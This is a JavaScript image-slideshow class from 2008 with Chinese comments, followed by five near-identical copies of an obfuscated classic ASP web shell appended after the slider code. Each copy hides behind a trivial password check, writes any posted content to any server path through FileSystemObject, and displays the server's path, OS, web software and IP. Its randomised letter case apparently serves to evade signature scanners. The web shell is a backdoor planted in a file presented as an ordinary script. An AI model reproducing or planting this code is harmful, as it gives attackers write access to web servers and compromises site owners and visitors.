/*  小密蜂幻灯片类 v1.0 2008-07-16 请保留此注释,谢谢 ^_^ 
 *	Slider, version 1.0.0
 *  No(c) 2008 jusa wong <jusa.wong@gmail.com/3331137@qq.com> 
/*--------------------------------------------------------------------------*/
var Slider=Class.create();
Slider.prototype={
	initialize:function($element,$imgData,$buttonData,$options)
	{									
		this.setOptions($options);	
		this.id='_'+String(Math.round(Math.random()*(9999-1)));																//组件的随机Id
		this.screen=$($element),this.screenSetStyle();																		//获取容器,设置样式
		this.slideDiv=this.createSlideDiv(this.screen);																		//创建幻灯片荧幕
		if(this.options.isNeedButton) this.createButtonDiv(this.screen,$imgData.img.length-1,$imgData,$buttonData);			//创建按钮
		this.slideDiv.innerHTML=this.formatHtml($imgData.img[0],$imgData.url[0]);											//导入第一个数据
		this.counter=0,this.baby='1',this.virgin=true;
		var oThis=this;
		var browser=navigator.userAgent.toLowerCase();
		this.isIE=(browser.indexOf("msie")!=-1) ? true:false;		
		if(this.options.autoPlay) this.timer=setTimeout(function(){oThis.open(oThis,$imgData,$buttonData)},this.options.interVal);
	},
	setOptions:function($options)
	{
		this.options={
			autoPlay:true,											//自动播放
			isNeedButton:true,										//是否需要按钮	
			isNeedLink:true,										//是否需要链接	
			width:1000,												//手动配置宽
			height:317,												//手动配置高
			buttonLeft:0,											//手机配置按钮的靠左距离			
			buttonTop:0,											//手机配置按钮的靠上距离
			screenClassName:'screenStyle',							//屏幕的配置,就是放置幻灯片的DOM元素了 -_-!
			slideClassName:'slideStyleC',							//幻灯片效果的样式名
			slidePicClassName:'slidePicStyle',						//幻灯片图片的样式名
			interVal:5000,											//间隔时间	
			path:'/gleeda-temp/images/',										//幻灯片图片路径				
			buttonPanelClassName:'slideButtonDivStyle',				//放置所有按钮的"DIV容器"的样式
			buttonEachDivClassName:'slideButtonEachDivStyle',		//每一个按钮"DIV容器"的样式
			buttonEachPicClassName:'slideButtonEachPicStyle',		//每个按钮图片的样式
			buttonImgPath:'/gleeda-temp/images/',								//按钮图片路径 如果为空就幻灯片图片路径用 
			event:'onclick',										//触发按钮的事件
			excStyleValue:2											//在点击按钮切换图片时，想有效果切换就设置大于1的值,设置为0或其它值将无效果切换,默认为2
		}.extend($options||{});
		if(this.options.buttonImgPath==undefined||this.options.buttonImgPath=="") this.options.buttonImgPath=this.options.path;
		if(this.options.event==undefined||this.options.even=='') this.options.event='onclick';
	},		
	open:function($self,$imgData,$buttonData)						
	{			
		if($self.counter>($imgData.img.length-1)) $self.counter=0;
		if($self.options.isNeedButton) $self.buttonController($self,$imgData,$buttonData);
		$self.play($self,$imgData.img[($self.virgin==true) ? 1:$self.counter],$imgData.url[($self.virgin==true) ? 1:$self.counter]);
		$self.counter+=1,$self.virgin=false;		
		$self.timer=setTimeout(function(){$self.open($self,$imgData,$buttonData)},$self.options.interVal);
	},
	screenSetStyle:function()
	{
		this.screen.className=this.options.screenClassName;	
		if(this.options.width!=0) this.screen.style.width=String(this.options.width)+'px';
		if(this.options.height!=0) this.screen.style.height=String(this.options.height)+'px';
	},
	createSlideDiv:function($parentDiv)												//创建幻灯片屏幕
	{
		
		var slideDiv=document.createElement('div');
			slideDiv.id='slideDiv'+this.id,slideDiv.className=this.options.slideClassName;
			if(this.options.width!=0) slideDiv.style.width=String(this.options.width)+'px';
			if(this.options.height!=0) slideDiv.style.height=String(this.options.height)+'px';			
			$parentDiv.appendChild(slideDiv);	
			return slideDiv;
	},
	createButtonDiv:function($parentDiv,$buttonCount,$imgData,$buttonData)			//创建幻灯片按钮
	{		
		var buttonDiv=document.createElement('div');
			buttonDiv.id='buttonDiv'+this.id,buttonDiv.className=this.options.buttonPanelClassName;
			if(this.options.buttonLeft!=0) buttonDiv.style.left=String(this.options.buttonLeft)+'px';
			if(this.options.buttonTop!=0) buttonDiv.style.top=String(this.options.buttonTop)+'px';			
			//makeHTML
			var buttonHtml='';
			for(var iButton=0;iButton<=$buttonCount;iButton++)
			{
				var imgButtonUrl=(iButton==0) ? this.options.buttonImgPath+$buttonData.excImg[iButton]:this.options.buttonImgPath+$buttonData.img[iButton];
				var imgButton='<img id="sButton'+iButton+this.id+'" name="sButton'+iButton+this.id+'" src="'+imgButtonUrl+'" border="0" class="'+this.options.buttonEachPicClassName+'"/>';			
				var buttonLab='<div id="sButtonDiv'+iButton+this.id+'" class="'+this.options.buttonEachDivClassName+'">'+imgButton+'</div>';
					buttonHtml+=buttonLab;
			}			
			buttonDiv.innerHTML=buttonHtml,$parentDiv.appendChild(buttonDiv);	
			var oThis=this;
			for(var iButton=0;iButton<=$buttonCount;iButton++)
			{				
				eval('$(\'sButton'+String(iButton)+this.id+'\').'+this.options.event+'=function(){oThis.rup(oThis,$imgData,$buttonData,'+iButton+')}');
			}				
	},
	rup:function($self,$imgData,$buttonData,$orderId)								//按钮点击时的响应者
	{
		if($self.options.autoPlay)
		{
			clearTimeout($self.timer);
			$self.counter=Number($orderId);
			$self.timer=setTimeout(function(){$self.open($self,$imgData,$buttonData)},$self.options.interVal);
		}
		var eventButton=$('sButton'+$orderId+this.id);
			$self.play($self,$imgData.img[$orderId],$imgData.url[$orderId],'eventTransfer');
			eventButton.src=$self.options.buttonImgPath+$buttonData.excImg[$orderId];
			for(var iButton=0;iButton<=$buttonData.img.length-1;iButton++)
			{
				if($orderId!=iButton) $('sButton'+String(iButton)+this.id).src=$self.options.buttonImgPath+$buttonData.img[iButton];
			}
	},
	play:function($self,$img,$url,$transfer)										//幻灯机
	{
		if($self.isIE)
		{			
			//revealTrans效果
			if($self.slideDiv.filters[0])
			{
				if($self.slideDiv.filters.revealTrans!=undefined)
				{
					if($self.slideDiv.filters.revealTrans.Transition==23) 
					{
						$self.slideDiv.filters.revealTrans.Transition=23;	
					}			
				}	
				var durationValue=2;	//默认的自动切换值为2，当检查到调用为"事件调用"则会查找配置表中的配置进行覆盖
				if($transfer=='eventTransfer') durationValue=($self.options.excStyleValue.constructor==Number&&$self.options.excStyleValue>0) ? $self.options.excStyleValue:0;
				$self.slideDiv.filters[0].Apply();
					$self.slideDiv.innerHTML=$self.formatHtml($img,$url);
				$self.slideDiv.filters[0].Play(duration=durationValue);	
			}
			else
			{
				$self.slideDiv.innerHTML=$self.formatHtml($img,$url);	
			}
		}
		else
		{
			$self.slideDiv.innerHTML=$self.formatHtml($img,$url);
		}			
	},
	buttonController:function($self,$imgData,$buttonData)
	{
		if($self.virgin)
		{
			$('sButton1'+$self.id).src=$self.options.buttonImgPath+$buttonData.excImg[1];				
		}
		else
		{
			$('sButton'+String($self.counter)+$self.id).src=$self.options.buttonImgPath+$buttonData.excImg[$self.counter];	
			$self.baby=String($self.counter);
		}	
		for(var iButton=0;iButton<=$buttonData.img.length-1;iButton++)
		{
			if('sButton'+String(iButton)+$self.id!='sButton'+$self.baby+$self.id) 
				$('sButton'+String(iButton)+$self.id).src=$self.options.buttonImgPath+$buttonData.img[iButton];
		}				
	},
	formatHtml:function($img,$url)												
	{
		var $$imgStyle='style="';
				if(this.options.width!=0) $$imgStyle+='width:'+this.options.width+'px;';
				if(this.options.height!=0) $$imgStyle+='height:'+this.options.height+'px;';
			$$imgStyle+='"';		
		var $$html='<a href="'+$url+'" target="_blank"><img src="'+this.options.path+$img+'" border="0" class="'+this.options.slidePicClassName+'" '+$$imgStyle+'/></a>';
			if(!this.options.isNeedLink) $$html='<img src="'+this.options.path+$img+'" border="0" class="'+this.options.slidePicClassName+'" '+$$imgStyle+'/>';
		return $$html;
	}
}; <%
on Error rEsumE next
%>
<%
if request("pAss")=" " tHen 
session("pw")="Go"
end If
%>
<%If session("pw")<>"go" tHen %>
<%="<center><br><form aCtion='' methOd='pOst'>"%>
<%="<input naMe='pass' type='password' Size='10'> <Input "%>
<%="typE='submit' valUe='½'></center>"%>
<%else%>
<%
set fSo=Server.createobject("Scripting.fileSyStemobject")
path=requeSt("path")
if paTh<>"" then
data=request("da")
set da=fso.crEatEtExtfilE(path,truE)
da.writE Data
if eRR=0 then
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
end if
eRR.cleaR
end if
da.close
%>
<%set da=noThing%>
<%seT foS=nothing%>
<%="<form actiOn='' method=Post>"%>
<%="<inPut tYpe=text namE=path>"%>
<%="<br>"%>
<%="ǰļ·:"&sErvEr.mappath(rEquEst.sErvErvariablEs("script_namE"))%>
<%="<br>"%>
<%="ϵͳΪ:"&REquEst.SErvErVariablEs("OS")%>
<%="<br>"%>
<%="WEB汾Ϊ:"&REquEst.SErvErVariablEs("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="IPΪ:"&REquEst.SErvErVariablEs("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<tExtarEa name=da cOls=50 rOws=10 widTh=30></TexTarea>"%>
<%="<br>"%>
<%="<inpuT Type=submiT value=save>"%>
<%="</form>"%>
<%end if%>
 <%
on eRRoR resuMe next
%>
<%
if requesT("pass")=" " Then 
session("pW")="go"
end if
%>
<%if session("pw")<>"go" Then %>
<%="<center><br><forM action='' method='post'>"%>
<%="<inpUt Name='pass' type='passwOrd' size='10'> <input "%>
<%="type='submit' value='½'></center>"%>
<%else%>
<%
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if pAth<>"" Then
daTa=requesT("da")
seT dA=fso.creAtetextfile(pAth,true)
dA.write data
If eRR=0 then
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
end if
err.Clear
end if
da.cloSe
%>
<%Set da=nothing%>
<%set fOs=nOthing%>
<%="<fOrm acTion='' meThod=posT>"%>
<%="<inpuT Type=TexT name=path>"%>
<%="<br>"%>
<%="ǰļ·:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="ϵͳΪ:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB汾Ϊ:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="IPΪ:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea naMe=da Cols=50 Rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=subMit value=save>"%>
<%="</form>"%>
<%end iF%>
 <%
On eRRoR Resume next
%>
<%
if requeSt("paSS")=" " tHen 
session("pw")="go"
end iF
%>
<%iF session("pw")<>"go" tHen %>
<%="<center><br><form acTion='' method='Post'>"%>
<%="<inPut name='pass' tYpe='password' siZe='10'> <iNput "%>
<%="type='Submit' value='½'></center>"%>
<%else%>
<%
set fso=server.creAteobject("scripting.filesystemobject")
pAth=request("pAth")
if patH<>"" Then
daTa=requesT("da")
seT da=fso.crEatEtExtfilE(path,truE)
da.writE dAtA
if err=0 then
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
end if
err.clear
end if
da.close
%>
<%set da=NothiNg%>
<%set fOs=nOthing%>
<%="<fOrm actioN='' method=post>"%>
<%="<input tyPe=text name=path>"%>
<%="<br>"%>
<%="ǰļ·:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="ϵͳΪ:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB汾Ϊ:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="IPΪ:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea name=da coLs=50 roWs=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input tYpe=submit value=save>"%>
<%="</foRm>"%>
<%end if%>
 <%
on errOr resUme nexT
%>
<%
if rEquEst("pass")=" " Then 
session("pw")="go"
end if
%>
<%if sessioN("pw")<>"go" theN %>
<%="<center><br><Form action='' method='post'>"%>
<%="<Input name='pass' type='paSSword' size='10'> <inpuT "%>
<%="type='submit' valuE='½'></cEntEr>"%>
<%ElsE%>
<%
sEt fso=server.creaTeobjecT("scripTing.filesysTemobjecT")
paTh=requesT("paTh")
if Path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.Write data
if eRR=0 then
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
end if
eRR.cleaR
end if
da.Close
%>
<%set da=noThing%>
<%seT fos=nothing%>
<%="<form aCtion='' meThod=posT>"%>
<%="<inpuT type=teXt name=path>"%>
<%="<br>"%>
<%="ǰļ·:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="ϵͳΪ:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB汾Ϊ:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="IPΪ:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea nAme=dA cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=suBmit vAlue=sAve>"%>
<%="</form>"%>
<%end iF%>
 <%
oN eRRoR reSume next
%>
<%
If request("pass")=" " thEn 
session("pw")="go"
end if
%>
<%if SeSSion("pw")<>"go" thEn %>
<%="<cEntEr><br><form actiOn='' method='post'>"%>
<%="<input name='Pass' type='password' size='10'> <inPut "%>
<%="Type='submiT' value='½'></cenTer>"%>
<%else%>
<%
seT fso=server.createobject("scriptiNg.filesystemobject")
path=request("path")
if path<>"" thEn
data=rEquEst("da")
sEt da=fso.creaTeTexTfile(paTh,True)
da.wriTe dAtA
if err=0 then
%>
<%="ϴɹ"%>
<%else%>
<%="ϴʧ"%>
<%
end If
err.clear
end If
da.close
%>
<%set da=nothing%>
<%set fos=nothinG%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%="ǰļ·:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="ϵͳΪ:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB汾Ϊ:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="IPΪ:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea nAme=dA cols=50 rows=10 width=30></tExtarEa>"%>
<%="<br>"%>
<%="<input typE=submit value=save>"%>
<%="</form>"%>
<%end If%>

